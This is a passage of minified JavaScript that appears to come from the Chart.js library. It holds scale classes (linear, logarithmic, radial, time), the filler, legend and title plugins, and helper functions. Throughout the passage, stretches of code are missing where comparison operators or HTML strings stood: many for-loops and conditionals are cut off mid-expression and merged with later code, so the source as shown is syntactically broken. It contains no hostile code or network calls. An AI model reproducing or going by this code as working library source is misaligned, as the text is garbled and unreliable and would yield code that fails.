e=this,i=e.options.offset;if(e.isHorizontal()){var n=(e.width-(e.paddingLeft+e.paddingRight))/Math.max(e._ticks.length-(i?0:1),1),a=n*t+e.paddingLeft;i&&(a+=n/2);var o=e.left+a;return o+=e.isFullWidth()?e.margins.left:0}var r=e.height-(e.paddingTop+e.paddingBottom);return e.top+t*(r/(e._ticks.length-1))},getPixelForDecimal:function(t){var e=this;if(e.isHorizontal()){var i=(e.width-(e.paddingLeft+e.paddingRight))*t+e.paddingLeft,n=e.left+i;return n+=e.isFullWidth()?e.margins.left:0}return e.top+t*e.height},getBasePixel:function(){return this.getPixelForValue(this.getBaseValue())},getBaseValue:function(){var t=this.min,e=this.max;return this.beginAtZero?0:t<0&&e<0?e:t>0&&e>0?t:0},_autoSkip:function(t){var e,i,n=this,a=n.isHorizontal(),o=n.options.ticks.minor,r=t.length,s=!1,l=o.maxTicksLimit,d=n._tickSize()*(r-1),u=a?n.width-(n.paddingLeft+n.paddingRight):n.height-(n.paddingTop+n.PaddingBottom),h=[];for(d>u&&(s=1+Math.floor(d/u)),r>l&&(s=Math.max(s,1+Math.floor(r/l))),e=0;e1&&e%s>0&&delete i.label,h.push(i);return h},_tickSize:function(){var t=this,e=t.isHorizontal(),i=t.options.ticks.minor,n=ut.toRadians(t.labelRotation),a=Math.abs(Math.cos(n)),o=Math.abs(Math.sin(n)),r=i.autoSkipPadding||0,s=t.longestLabelWidth+r||0,l=ut.options._parseFont(i),d=t._maxLabelLines*l.lineHeight+r||0;return e?d*a>s*o?s/a:d/o:d*o0&&n>0&&(t.min=0)}var a=void 0!==e.min||void 0!==e.suggestedMin,o=void 0!==e.max||void 0!==e.suggestedMax;void 0!==e.min?t.min=e.min:void 0!==e.suggestedMin&&(null===t.min?t.min=e.suggestedMin:t.min=Math.min(t.min,e.suggestedMin)),void 0!==e.max?t.max=e.max:void 0!==e.suggestedMax&&(null===t.max?t.max=e.suggestedMax:t.max=Math.max(t.max,e.suggestedMax)),a!==o&&t.min>=t.max&&(a?t.max=t.min+1:t.min=t.max-1),t.min===t.max&&(t.max++,e.beginAtZero||t.min--)},getTickLimit:function(){var t,e=this.options.ticks,i=e.stepSize,n=e.maxTicksLimit;return i?t=Math.ceil(this.max/i)-Math.floor(this.min/i)+1:(t=this._computeTickLimit(),n=n||11),n&&(t=Math.min(n,t)),t},_computeTickLimit:function(){return Number.POSITIVE_INFINITY},handleDirectionalChanges:mi,buildTicks:function(){var t=this,e=t.options.ticks,i=t.getTickLimit(),n={maxTicks:i=Math.max(2,i),min:e.min,max:e.max,precision:e.precision,stepSize:ut.valueOrDefault(e.fixedStepSize,e.stepSize)},a=t.ticks=function(t,e){var i,n,a,o,r=[],s=t.stepSize,l=s||1,d=t.maxTicks-1,u=t.min,h=t.max,c=t.precision,f=e.min,g=e.max,p=ut.niceNum((g-f)/d/l)*l;if(p<1e-14&&vi(u)&&vi(h))return[f,g];(o=Math.ceil(g/p)-Math.floor(f/p))>d&&(p=ut.niceNum(o*p/d/l)*l),s||vi(c)?i=Math.pow(10,ut._decimalPlaces(p)):(i=Math.pow(10,c),p=Math.ceil(p*i)/i),n=Math.floor(f/p)*p,a=Math.ceil(g/p)*p,s&&(!vi(u)&&ut.almostWhole(u/p,p/1e3)&&(n=u),!vi(h)&&ut.almostWhole(h/p,p/1e3)&&(a=h)),o=(a-n)/p,o=ut.almostEquals(o,Math.round(o),p/1e3)?Math.round(o):Math.ceil(o),n=Math.round(n*i)/i,a=Math.round(a*i)/i,r.push(vi(u)?n:u);for(var m=1;mt.max&&(t.max=n))})});t.min=isFinite(t.min)&&!isNaN(t.min)?t.min:0,t.max=isFinite(t.max)&&!isNaN(t.max)?t.max:1,this.handleTickRangeOptions()},_computeTickLimit:function(){var t;return this.isHorizontal()?Math.ceil(this.width/40):(t=ut.options._parseFont(this.options.ticks),Math.ceil(this.height/t.lineHeight))},handleDirectionalChanges:function(){this.isHorizontal()||this.ticks.reverse()},getLabelForIndex:function(t,e){return+this.getRightValue(this.chart.data.datasets[e].data[t])},getPixelForValue:function(t){var e=this,i=e.start,n=+e.getRightValue(t),a=e.end-i;return e.isHorizontal()?e.left+e.width/a*(n-i):e.bottom-e.height/a*(n-i)},getValueForPixel:function(t){var e=this,i=e.isHorizontal(),n=i?e.width:e.height,a=(i?t-e.left:e.bottom-t)/n;return e.start+(e.end-e.start)*a},getPixelForTick:function(t){return this.getPixelForValue(this.ticksAsNumbers[t])}}),ki=xi;yi._defaults=ki;var wi=ut.valueOrDefault;var Mi={position:"left",ticks:{callback:li.formatters.logarithmic}};function _i(t,e){return ut.isFinite(t)&&t>=0?t:e}var Ci=fi.extend({determineDataLimits:function(){var t=this,e=t.options,i=t.chart,n=i.data.datasets,a=t.isHorizontal();function o(e){return a?e.xAxisID===t.id:e.yAxisID===t.id}t.min=null,t.max=null,t.minNotZero=null;var r=e.stacked;if(void 0===r&&ut.each(n,function(t,e){if(!r){var n=i.getDatasetMeta(e);i.isDatasetVisible(e)&&o(n)&&void 0!==n.stack&&(r=!0)}}),e.stacked||r){var s={};ut.each(n,function(n,a){var r=i.getDatasetMeta(a),l=[r.type,void 0===e.stacked&&void 0===r.stack?a:"",r.stack].join(".");i.isDatasetVisible(a)&&o(r)&&(void 0===s[l]&&(s[l]=[]),ut.each(n.data,function(e,i){var n=s[l],a=+t.getRightValue(e);isNaN(a)||r.data[i].hidden||a<0||(n[i]=n[i]||0,n[i]+=a)}))}),ut.each(s,function(e){if(e.length>0){var i=ut.min(e),n=ut.max(e);t.min=null===t.min?i:Math.min(t.min,i),t.max=null===t.max?n:Math.max(t.max,n)}})}else ut.each(n,function(e,n){var a=i.getDatasetMeta(n);i.isDatasetVisible(n)&&o(a)&&ut.each(e.data,function(e,i){var n=+t.getRightValue(e);isNaN(n)||a.data[i].hidden||n<0||(null===t.min?t.min=n:nt.max&&(t.max=n),0!==n&&(null===t.minNotZero||n0?t.minNotZero=t.min:t.max<1?t.minNotZero=Math.pow(10,Math.floor(ut.log10(t.max))):t.minNotZero=1)},buildTicks:function(){var t=this,e=t.options.ticks,i=!t.isHorizontal(),n={min:_i(e.min),max:_i(e.max)},a=t.ticks=function(t,e){var i,n,a=[],o=wi(t.min,Math.pow(10,Math.floor(ut.log10(e.min)))),r=Math.floor(ut.log10(e.max)),s=Math.ceil(e.max/Math.pow(10,r));0===o?(i=Math.floor(ut.log10(e.minNotZero)),n=Math.floor(e.minNotZero/Math.pow(10,i)),a.push(o),o=n*Math.pow(10,i)):(i=Math.floor(ut.log10(o)),n=Math.floor(o/Math.pow(10,i)));var l=i<0?Math.pow(10,Math.abs(i)):1;do{a.push(o),10==++n&&(n=1,l=++i>=0?1:l),o=Math.round(n*Math.pow(10,i)*l)/l}while(ia?{start:e-i,end:e}:{start:e,end:e+i}}function Ri(t){return 0===t||180===t?"center":t<180?"left":"right"}function Oi(t,e,i,n){var a,o,r=i.y+n/2;if(ut.isArray(e))for(a=0,o=e.length;a270||t<90)&&(i.y-=e.h)}function Bi(t){return ut.isNumber(t)?t:0}var Ni=bi.extend({setDimensions:function(){var t=this;t.width=t.maxWidth,t.height=t.maxHeight,t.paddingTop=Fi(t.options)/2,t.xCenter=Math.floor(t.width/2),t.yCenter=Math.floor((t.height-t.paddingTop)/2),t.drawingArea=Math.min(t.height-t.paddingTop,t.width)/2},determineDataLimits:function(){var t=this,e=t.chart,i=Number.POSITIVE_INFINITY,n=Number.NEGATIVE_INFINITY;ut.each(e.data.datasets,function(a,o){if(e.isDatasetVisible(o)){var r=e.getDatasetMeta(o);ut.each(a.data,function(e,a){var o=+t.getRightValue(e);isNaN(o)||r.data[a].hidden||(i=Math.min(o,i),n=Math.max(o,n))})}}),t.min=i===Number.POSITIVE_INFINITY?0:i,t.max=n===Number.NEGATIVE_INFINITY?0:n,t.handleTickRangeOptions()},_computeTickLimit:function(){return Math.ceil(this.drawingArea/Fi(this.options))},convertTicksToLabels:function(){var t=this;bi.prototype.convertTicksToLabels.call(t),t.pointLabels=t.chart.data.labels.map(t.options.pointLabels.callback,t)},getLabelForIndex:function(t,e){return+this.getRightValue(this.chart.data.datasets[e].data[t])},fit:function(){var t=this.options;t.display&&t.pointLabels.display?function(t){var e,i,n,a=ut.options._parseFont(t.options.pointLabels),o={l:0,r:t.width,t:0,b:t.height-t.paddingTop},r={};t.ctx.font=a.string,t._pointLabelSizes=[];var s,l,d,u=Ti(t);for(e=0;eo.r&&(o.r=f.end,r.r=h),g.starto.b&&(o.b=g.end,r.b=h)}t.setReductions(t.drawingArea,o,r)}(this):this.setCenterPoint(0,0,0,0)},setReductions:function(t,e,i){var n=this,a=e.l/Math.sin(i.l),o=Math.max(e.r-n.width,0)/Math.sin(i.r),r=-e.t/Math.cos(i.t),s=-Math.max(e.b-(n.height-n.paddingTop),0)/Math.cos(i.b);a=Bi(a),o=Bi(o),r=Bi(r),s=Bi(s),n.drawingArea=Math.min(Math.floor(t-(a+o)/2),Math.floor(t-(r+s)/2)),n.setCenterPoint(a,o,r,s)},setCenterPoint:function(t,e,i,n){var a=this,o=a.width-e-a.drawingArea,r=t+a.drawingArea,s=i+a.drawingArea,l=a.height-a.paddingTop-n-a.drawingArea;a.xCenter=Math.floor((r+o)/2+a.left),a.yCenter=Math.floor((s+l)/2+a.top+a.paddingTop)},getIndexAngle:function(t){return t*(2*Math.PI/Ti(this))+(this.chart.options&&this.chart.options.startAngle?this.chart.options.startAngle:0)*Math.PI*2/360},getDistanceFromCenterForValue:function(t){var e=this;if(null===t)return 0;var i=e.drawingArea/(e.max-e.min);return e.options.ticks.reverse?(e.max-t)*i:(t-e.min)*i},getPointPosition:function(t,e){var i=this.getIndexAngle(t)-Math.PI/2;return{x:Math.cos(i)*e+this.xCenter,y:Math.sin(i)*e+this.yCenter}},getPointPositionForValue:function(t,e){return this.getPointPosition(t,this.getDistanceFromCenterForValue(e))},getBasePosition:function(){var t=this.min,e=this.max;return this.getPointPositionForValue(0,this.beginAtZero?0:t<0&&e<0?e:t>0&&e>0?t:0)},draw:function(){var t=this,e=t.options,i=e.gridLines,n=e.ticks;if(e.display){var a=t.ctx,o=this.getIndexAngle(0),r=ut.options._parseFont(n);(e.angleLines.display||e.pointLabels.display)&&function(t){var e=t.ctx,i=t.options,n=i.angleLines,a=i.gridLines,o=i.pointLabels,r=Pi(n.lineWidth,a.lineWidth),s=Pi(n.color,a.color),l=Fi(i);e.save(),e.lineWidth=r,e.strokeStyle=s,e.setLineDash&&(e.setLineDash(Ai([n.borderDash,a.borderDash,[]])),e.lineDashOffset=Ai([n.borderDashOffset,a.borderDashOffset,0]));var d=t.getDistanceFromCenterForValue(i.ticks.reverse?t.min:t.max),u=ut.options._parseFont(o);e.font=u.string,e.textBaseline="middle";for(var h=Ti(t)-1;h>=0;h--){if(n.display&&r&&s){var c=t.getPointPosition(h,d);e.beginPath(),e.moveTo(t.xCenter,t.yCenter),e.lineTo(c.x,c.y),e.stroke()}if(o.display){var f=0===h?l/2:0,g=t.getPointPosition(h,d+f+5),p=Ii(o.fontColor,h,st.global.defaultFontColor);e.fillStyle=p;var m=t.getIndexAngle(h),v=ut.toDegrees(m);e.textAlign=Ri(v),zi(v,t._pointLabelSizes[h],g),Oi(e,t.pointLabels[h]||"",g,u.lineHeight)}}e.restore()}(t),ut.each(t.ticks,function(e,s){if(s>0||n.reverse){var l=t.getDistanceFromCenterForValue(t.ticksAsNumbers[s]);if(i.display&&0!==s&&function(t,e,i,n){var a,o=t.ctx,r=e.circular,s=Ti(t),l=Ii(e.color,n-1),d=Ii(e.lineWidth,n-1);if((r||s)&&l&&d){if(o.save(),o.strokeStyle=l,o.lineWidth=d,o.setLineDash&&(o.setLineDash(e.borderDash||[]),o.lineDashOffset=e.borderDashOffset||0),o.beginPath(),r)o.arc(t.xCenter,t.yCenter,i,0,2*Math.PI);else{a=t.getPointPosition(0,i),o.moveTo(a.x,a.y);for(var u=1;u=0&&r<=s;){if(a=t[(n=r+s>>1)-1]||null,o=t[n],!a)return{lo:null,hi:o};if(o[e]i))return{lo:a,hi:o};s=n-1}}return{lo:o,hi:null}}(t,e,i),o=a.lo?a.hi?a.lo:t[t.length-2]:t[0],r=a.lo?a.hi?a.hi:t[t.length-1]:t[1],s=r[e]-o[e],l=s?(i-o[e])/s:0,d=(r[n]-o[n])*l;return o[n]+d}function Ki(t,e){var i=t._adapter,n=t.options.time,a=n.parser,o=a||n.format,r=e;return"function"==typeof a&&(r=a(r)),ut.isFinite(r)||(r="string"==typeof o?i.parse(r,o):i.parse(r)),null!==r?+r:(a||"function"!=typeof o||(r=o(e),ut.isFinite(r)||(r=i.parse(r))),r)}function Gi(t,e){if(ut.isNullOrUndef(e))return null;var i=t.options.time,n=Ki(t,t.getRightValue(e));return null===n?n:(i.round&&(n=+t._adapter.startOf(n,i.round)),n)}function Zi(t){for(var e=qi.indexOf(t)+1,i=qi.length;e=a&&i<=o&&d.push(i);return n.min=a,n.max=o,n._unit=s.unit||function(t,e,i,n,a){var o,r;for(o=qi.length-1;o>=qi.indexOf(i);o--)if(r=qi[o],ji[r].common&&t._adapter.diff(a,n,r)>=e.length)return r;return qi[i?qi.indexOf(i):0]}(n,d,s.minUnit,n.min,n.max),n._majorUnit=Zi(n._unit),n._table=function(t,e,i,n){if("linear"===n||!t.length)return[{time:e,pos:0},{time:i,pos:1}];var a,o,r,s,l,d=[],u=[e];for(a=0,o=t.length;ae&&s=0&&t0?r:1}}),Qi={position:"bottom",distribution:"linear",bounds:"data",adapters:{},time:{parser:!1,format:!1,unit:!1,round:!1,displayFormat:!1,isoWeekday:!1,minUnit:"millisecond",displayFormats:{}},ticks:{autoSkip:!1,source:"auto",major:{enabled:!1}}};Ji._defaults=Qi;var tn={category:gi,linear:yi,logarithmic:Ci,radialLinear:Ni,time:Ji},en={datetime:"MMM D, YYYY, h:mm:ss a",millisecond:"h:mm:ss.SSS a",second:"h:mm:ss a",minute:"h:mm a",hour:"hA",day:"MMM D",week:"ll",month:"MMM YYYY",quarter:"[Q]Q - YYYY",year:"YYYY"};si._date.override("function"==typeof t?{_id:"moment",formats:function(){return en},parse:function(e,i){return"string"==typeof e&&"string"==typeof i?e=t(e,i):e instanceof t||(e=t(e)),e.isValid()?e.valueOf():null},format:function(e,i){return t(e).format(i)},add:function(e,i,n){return t(e).add(i,n).valueOf()},diff:function(e,i,n){return t.duration(t(e).diff(t(i))).as(n)},startOf:function(e,i,n){return e=t(e),"isoWeek"===i?e.isoWeekday(n).valueOf():e.startOf(i).valueOf()},endOf:function(e,i){return t(e).endOf(i).valueOf()},_create:function(e){return t(e)}}:{}),st._set("global",{plugins:{filler:{propagate:!0}}});var nn={dataset:function(t){var e=t.fill,i=t.chart,n=i.getDatasetMeta(e),a=n&&i.isDatasetVisible(e)&&n.dataset._children||[],o=a.length||0;return o?function(t,e){return e=i)&&n;switch(o){case"bottom":return"start";case"top":return"end";case"zero":return"origin";case"origin":case"start":case"end":return o;default:return!1}}function on(t){var e,i=t.el._model||{},n=t.el._scale||{},a=t.fill,o=null;if(isFinite(a))return null;if("start"===a?o=void 0===i.scaleBottom?n.bottom:i.scaleBottom:"end"===a?o=void 0===i.scaleTop?n.top:i.scaleTop:void 0!==i.scaleZero?o=i.scaleZero:n.getBasePosition?o=n.getBasePosition():n.getBasePixel&&(o=n.getBasePixel()),null!=o){if(void 0!==o.x&&void 0!==o.y)return o;if(ut.isFinite(o))return{x:(e=n.isHorizontal())?o:null,y:e?null:o}}return null}function rn(t,e,i){var n,a=t[e].fill,o=[e];if(!i)return a;for(;!1!==a&&-1===o.indexOf(a);){if(!isFinite(a))return a;if(!(n=t[a]))return!1;if(n.visible)return a;o.push(a),a=n.fill}return!1}function sn(t){var e=t.fill,i="dataset";return!1===e?null:(isFinite(e)||(i="boundary"),nn[i](t))}function ln(t){return t&&!t.skip}function dn(t,e,i,n,a){var o;if(n&&a){for(t.moveTo(e[0].x,e[0].y),o=1;o0;--o)ut.canvas.lineTo(t,i[o],i[o-1],!0)}}var un={id:"filler",afterDatasetsUpdate:function(t,e){var i,n,a,o,r=(t.data.datasets||[]).length,s=e.propagate,l=[];for(n=0;ne?e:t.boxWidth}st._set("global",{legend:{display:!0,position:"top",fullWidth:!0,reverse:!1,weight:1e3,onClick:function(t,e){var i=e.datasetIndex,n=this.chart,a=n.getDatasetMeta(i);a.hidden=null===a.hidden?!n.data.datasets[i].hidden:null,n.update()},onHover:null,onLeave:null,labels:{boxWidth:40,padding:10,generateLabels:function(t){var e=t.data;return ut.isArray(e.datasets)?e.datasets.map(function(e,i){return{text:e.label,fillStyle:ut.isArray(e.backgroundColor)?e.backgroundColor[0]:e.backgroundColor,hidden:!t.isDatasetVisible(i),lineCap:e.borderCapStyle,lineDash:e.borderDash,lineDashOffset:e.borderDashOffset,lineJoin:e.borderJoinStyle,lineWidth:e.borderWidth,strokeStyle:e.borderColor,pointStyle:e.pointStyle,datasetIndex:i}},this):[]}}},legendCallback:function(t){var e=[];e.push('
    ');for(var i=0;i'),t.data.datasets[i].label&&e.push(t.data.datasets[i].label),e.push("");return e.push("
"),e.join("")}});var gn=pt.extend({initialize:function(t){ut.extend(this,t),this.legendHitBoxes=[],this._hoveredItem=null,this.doughnutMode=!1},beforeUpdate:hn,update:function(t,e,i){var n=this;return n.beforeUpdate(),n.maxWidth=t,n.maxHeight=e,n.margins=i,n.beforeSetDimensions(),n.setDimensions(),n.afterSetDimensions(),n.beforeBuildLabels(),n.buildLabels(),n.afterBuildLabels(),n.beforeFit(),n.fit(),n.afterFit(),n.afterUpdate(),n.minSize},afterUpdate:hn,beforeSetDimensions:hn,setDimensions:function(){var t=this;t.isHorizontal()?(t.width=t.maxWidth,t.left=0,t.right=t.width):(t.height=t.maxHeight,t.top=0,t.bottom=t.height),t.paddingLeft=0,t.paddingTop=0,t.paddingRight=0,t.paddingBottom=0,t.minSize={width:0,height:0}},afterSetDimensions:hn,beforeBuildLabels:hn,buildLabels:function(){var t=this,e=t.options.labels||{},i=ut.callback(e.generateLabels,[t.chart],t)||[];e.filter&&(i=i.filter(function(i){return e.filter(i,t.chart.data)})),t.options.reverse&&i.reverse(),t.legendItems=i},afterBuildLabels:hn,beforeFit:hn,fit:function(){var t=this,e=t.options,i=e.labels,n=e.display,a=t.ctx,o=ut.options._parseFont(i),r=o.size,s=t.legendHitBoxes=[],l=t.minSize,d=t.isHorizontal();if(d?(l.width=t.maxWidth,l.height=n?10:0):(l.width=n?10:0,l.height=t.maxHeight),n)if(a.font=o.string,d){var u=t.lineWidths=[0],h=0;a.textAlign="left",a.textBaseline="top",ut.each(t.legendItems,function(t,e){var n=fn(i,r)+r/2+a.measureText(t.text).width;(0===e||u[u.length-1]+n+i.padding>l.width)&&(h+=r+i.padding,u[u.length-(e>0?0:1)]=i.padding),s[e]={left:0,top:0,width:n,height:r},u[u.length-1]+=n+i.padding}),l.height+=h}else{var c=i.padding,f=t.columnWidths=[],g=i.padding,p=0,m=0,v=r+c;ut.each(t.legendItems,function(t,e){var n=fn(i,r)+r/2+a.measureText(t.text).width;e>0&&m+v>l.height-c&&(g+=p+i.padding,f.push(p),p=0,m=0),p=Math.max(p,n),m+=v,s[e]={left:0,top:0,width:n,height:r}}),g+=p,f.push(p),l.width+=g}t.width=l.width,t.height=l.height},afterFit:hn,isHorizontal:function(){return"top"===this.options.position||"bottom"===this.options.position},draw:function(){var t=this,e=t.options,i=e.labels,n=st.global,a=n.defaultColor,o=n.elements.line,r=t.width,s=t.lineWidths;if(e.display){var l,d=t.ctx,u=cn(i.fontColor,n.defaultFontColor),h=ut.options._parseFont(i),c=h.size;d.textAlign="left",d.textBaseline="middle",d.lineWidth=.5,d.strokeStyle=u,d.fillStyle=u,d.font=h.string;var f=fn(i,c),g=t.legendHitBoxes,p=t.isHorizontal();l=p?{x:t.left+(r-s[0])/2+i.padding,y:t.top+i.padding,line:0}:{x:t.left+i.padding,y:t.top+i.padding,line:0};var m=c+i.padding;ut.each(t.legendItems,function(n,u){var h=d.measureText(n.text).width,v=f+c/2+h,b=l.x,x=l.y;p?u>0&&b+v+i.padding>t.left+t.minSize.width&&(x=l.y+=m,l.line++,b=l.x=t.left+(r-s[l.line])/2+i.padding):u>0&&x+m>t.top+t.minSize.height&&(b=l.x=b+t.columnWidths[l.line]+i.padding,x=l.y=t.top+i.padding,l.line++),function(t,i,n){if(!(isNaN(f)||f<=0)){d.save();var r=cn(n.lineWidth,o.borderWidth);if(d.fillStyle=cn(n.fillStyle,a),d.lineCap=cn(n.lineCap,o.borderCapStyle),d.lineDashOffset=cn(n.lineDashOffset,o.borderDashOffset),d.lineJoin=cn(n.lineJoin,o.borderJoinStyle),d.lineWidth=r,d.strokeStyle=cn(n.strokeStyle,a),d.setLineDash&&d.setLineDash(cn(n.lineDash,o.borderDash)),e.labels&&e.labels.usePointStyle){var s=f*Math.SQRT2/2,l=t+f/2,u=i+c/2;ut.canvas.drawPoint(d,n.pointStyle,s,l,u)}else 0!==r&&d.strokeRect(t,i,f,c),d.fillRect(t,i,f,c);d.restore()}}(b,x,n),g[u].left=b,g[u].top=x,function(t,e,i,n){var a=c/2,o=f+a+t,r=e+a;d.fillText(i.text,o,r),i.hidden&&(d.beginPath(),d.lineWidth=2,d.moveTo(o,r),d.lineTo(o+n,r),d.stroke())}(b,x,n,h),p?l.x+=v+i.padding:l.y+=m})}},_getLegendItemAt:function(t,e){var i,n,a,o=this;if(t>=o.left&&t<=o.right&&e>=o.top&&e<=o.bottom)for(a=o.legendHitBoxes,i=0;i=(n=a[i]).left&&t<=n.left+n.width&&e>=n.top&&e<=n.top+n.height)return o.legendItems[i];return null},handleEvent:function(t){var e,i=this,n=i.options,a="mouseup"===t.type?"click":t.type;if("mousemove"===a){if(!n.onHover&&!n.onLeave)return}else{if("click"!==a)return;if(!n.onClick)return}e=i._getLegendItemAt(t.x,t.y),"click"===a?e&&n.onClick&&n.onClick.call(i,t.native,e):(n.onLeave&&e!==i._hoveredItem&&(i._hoveredItem&&n.onLeave.call(i,t.native,i._hoveredItem),i._hoveredItem=e),n.onHover&&e&&n.onHover.call(i,t.native,e))}});function pn(t,e){var i=new gn({ctx:t.ctx,options:e,chart:t});ke.configure(t,i,e),ke.addBox(t,i),t.legend=i}var mn={id:"legend",_element:gn,beforeInit:function(t){var e=t.options.legend;e&&pn(t,e)},beforeUpdate:function(t){var e=t.options.legend,i=t.legend;e?(ut.mergeIf(e,st.global.legend),i?(ke.configure(t,i,e),i.options=e):pn(t,e)):i&&(ke.removeBox(t,i),delete t.legend)},afterEvent:function(t,e){var i=t.legend;i&&i.handleEvent(e)}},vn=ut.noop;st._set("global",{title:{display:!1,fontStyle:"bold",fullWidth:!0,padding:10,position:"top",text:"",weight:2e3}});var bn=pt.extend({initialize:function(t){ut.extend(this,t),this.legendHitBoxes=[]},beforeUpdate:vn,update:function(t,e,i){var n=this;return n.beforeUpdate(),n.maxWidth=t,n.maxHeight=e,n.margins=i,n.beforeSetDimensions(),n.setDimensions(),n.afterSetDimensions(),n.beforeBuildLabels(),n.buildLabels(),n.afterBuildLabels(),n.beforeFit(),n.fit(),n.afterFit(),n.afterUpdate(),n.minSize},afterUpdate:vn,beforeSetDimensions:vn,setDimensions:function(){var t=this;t.isHorizontal()?(t.width=t.maxWidth,t.left=0,t.right=t.width):(t.height=t.maxHeight,t.top=0,t.bottom=t.height),t.paddingLeft=0,t.paddingTop=0,t.paddingRight=0,t.paddingBottom=0,t.minSize={width:0,height:0}},afterSetDimensions:vn,beforeBuildLabels:vn,buildLabels:vn,afterBuildLabels:vn,beforeFit:vn,fit:function(){var t=this,e=t.options,i=e.display,n=t.minSize,a=ut.isArray(e.text)?e.text.length:1,o=ut.options._parseFont(e),r=i?a*o.lineHeight+2*e.padding:0;t.isHorizontal()?(n.width=t.maxWidth,n.height=r):(n.width=r,n.height=t.maxHeight),t.width=n.width,t.height=n.height},afterFit:vn,isHorizontal:function(){var t=this.options.position;return"top"===t||"bottom"===t},draw:function(){var t=this,e=t.ctx,i=t.options;if(i.display){var n,a,o,r=ut.options._parseFont(i),s=r.lineHeight,l=s/2+i.padding,d=0,u=t.top,h=t.left,c=t.bottom,f=t.right;e.fillStyle=ut.valueOrDefault(i.fontColor,st.global.defaultFontColor),e.font=r.string,t.isHorizontal()?(a=h+(f-h)/2,o=u+l,n=f-h):(a="left"===i.position?h+l:f-l,o=u+(c-u)/2,n=c-u,d=Math.PI*("left"===i.position?-.5:.5)),e.save(),e.translate(a,o),e.rotate(d),e.textAlign="center",e.textBaseline="middle";var g=i.text;if(ut.isArray(g))for(var p=0,m=0;m=0;n--){var a=t[n];if(e(a))return a}},ut.isNumber=function(t){return!isNaN(parseFloat(t))&&isFinite(t)},ut.almostEquals=function(t,e,i){return Math.abs(t-e)t},ut.max=function(t){return t.reduce(function(t,e){return isNaN(e)?t:Math.max(t,e)},Number.NEGATIVE_INFINITY)},ut.min=function(t){return t.reduce(function(t,e){return isNaN(e)?t:Math.min(t,e)},Number.POSITIVE_INFINITY)},ut.sign=Math.sign?function(t){return Math.sign(t)}:function(t){return 0==(t=+t)||isNaN(t)?t:t>0?1:-1},ut.log10=Math.log10?function(t){return Math.log10(t)}:function(t){var e=Math.log(t)*Math.LOG10E,i=Math.round(e);return t===Math.pow(10,i)?i:e},ut.toRadians=function(t){return t*(Math.PI/180)},ut.toDegrees=function(t){return t*(180/Math.PI)},ut._decimalPlaces=function(t){if(ut.isFinite(t)){for(var e=1,i=0;Math.round(t*e)/e!==t;)e*=10,i++;return i}},ut.getAngleFromPoint=function(t,e){var i=e.x-t.x,n=e.y-t.y,a=Math.sqrt(i*i+n*n),o=Math.atan2(n,i);return o<-.5*Math.PI&&(o+=2*Math.PI),{angle:o,distance:a}},ut.distanceBetweenPoints=function(t,e){return Math.sqrt(Math.pow(e.x-t.x,2)+Math.pow(e.y-t.y,2))},ut.aliasPixel=function(t){return t%2==0?0:.5},ut._alignPixel=function(t,e,i){var n=t.currentDevicePixelRatio,a=i/2;return Math.round((e-a)*n)/n+a},ut.splineCurve=function(t,e,i,n){var a=t.skip?e:t,o=e,r=i.skip?e:i,s=Math.sqrt(Math.pow(o.x-a.x,2)+Math.pow(o.y-a.y,2)),l=Math.sqrt(Math.pow(r.x-o.x,2)+Math.pow(r.y-o.y,2)),d=s/(s+l),u=l/(s+l),h=n*(d=isNaN(d)?0:d),c=n*(u=isNaN(u)?0:u);return{previous:{x:o.x-h*(r.x-a.x),y:o.y-h*(r.y-a.y)},next:{x:o.x+c*(r.x-a.x),y:o.y+c*(r.y-a.y)}}},ut.EPSILON=Number.EPSILON||1e-14,ut.splineCurveMonotone=function(t){var e,i,n,a,o,r,s,l,d,u=(t||[]).map(function(t){return{model:t._model,deltaK:0,mK:0}}),h=u.length;for(e=0;e0?u[e-1]:null,(a=e0?u[e-1]:null,a=e=t.length-1?t[0]:t[e+1]:e>=t.length-1?t[t.length-1]:t[e+1]},ut.previousItem=function(t,e,i){return i?e<=0?t[t.length-1]:t[e-1]:e<=0?t[0]:t[e-1]},ut.niceNum=function(t,e){var i=Math.floor(ut.log10(t)),n=t/Math.pow(10,i);return(e?n<1.5?1:n<3?2:n<7?5:10:n<=1?1:n<=2?2:n<=5?5:10)*Math.pow(10,i)},ut.requestAnimFrame="undefined"==typeof window?function(t){t()}:window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(t){return window.setTimeout(t,1e3/60)},ut.getRelativePosition=function(t,e){var i,n,a=t.originalEvent||t,o=t.target||t.srcElement,r=o.getBoundingClientRect(),s=a.touches;s&&s.length>0?(i=s[0].clientX,n=s[0].clientY):(i=a.clientX,n=a.clientY);var l=parseFloat(ut.getStyle(o,"padding-left")),d=parseFloat(ut.getStyle(o,"padding-top")),u=parseFloat(ut.getStyle(o,"padding-right")),h=parseFloat(ut.getStyle(o,"padding-bottom")),c=r.right-r.left-l-u,f=r.bottom-r.top-d-h;return{x:i=Math.round((i-r.left-l)/c*o.width/e.currentDevicePixelRatio),y:n=Math.round((n-r.top-d)/f*o.height/e.currentDevicePixelRatio)}},ut.getConstraintWidth=function(t){return i(t,"max-width","clientWidth")},ut.getConstraintHeight=function(t){return i(t,"max-height","clientHeight")},ut._calculatePadding=function(t,e,i){return(e=ut.getStyle(t,e)).indexOf("%")>-1?i*parseInt(e,10)/100:parseInt(e,10)},ut._getParentNode=function(t){var e=t.parentNode;return e&&"[object ShadowRoot]"===e.toString()&&(e=e.host),e},ut.getMaximumWidth=function(t){var e=ut._getParentNode(t);if(!e)return t.clientWidth;var i=e.clientWidth,n=i-ut._calculatePadding(e,"padding-left",i)-ut._calculatePadding(e,"padding-right",i),a=ut.getConstraintWidth(t);return isNaN(a)?n:Math.min(n,a)},ut.getMaximumHeight=function(t){var e=ut._getParentNode(t);if(!e)return t.clientHeight;var i=e.clientHeight,n=i-ut._calculatePadding(e,"padding-top",i)-ut._calculatePadding(e,"padding-bottom",i),a=ut.getConstraintHeight(t);return isNaN(a)?n:Math.min(n,a)},ut.getStyle=function(t,e){return t.currentStyle?t.currentStyle[e]:document.defaultView.getComputedStyle(t,null).getPropertyValue(e)},ut.retinaScale=function(t,e){var i=t.currentDevicePixelRatio=e||"undefined"!=typeof window&&window.devicePixelRatio||1;if(1!==i){var n=t.canvas,a=t.height,o=t.width;n.height=a*i,n.width=o*i,t.ctx.scale(i,i),n.style.height||n.style.width||(n.style.height=a+"px",n.style.width=o+"px")}},ut.fontString=function(t,e,i){return e+" "+t+"px "+i},ut.longestText=function(t,e,i,n){var 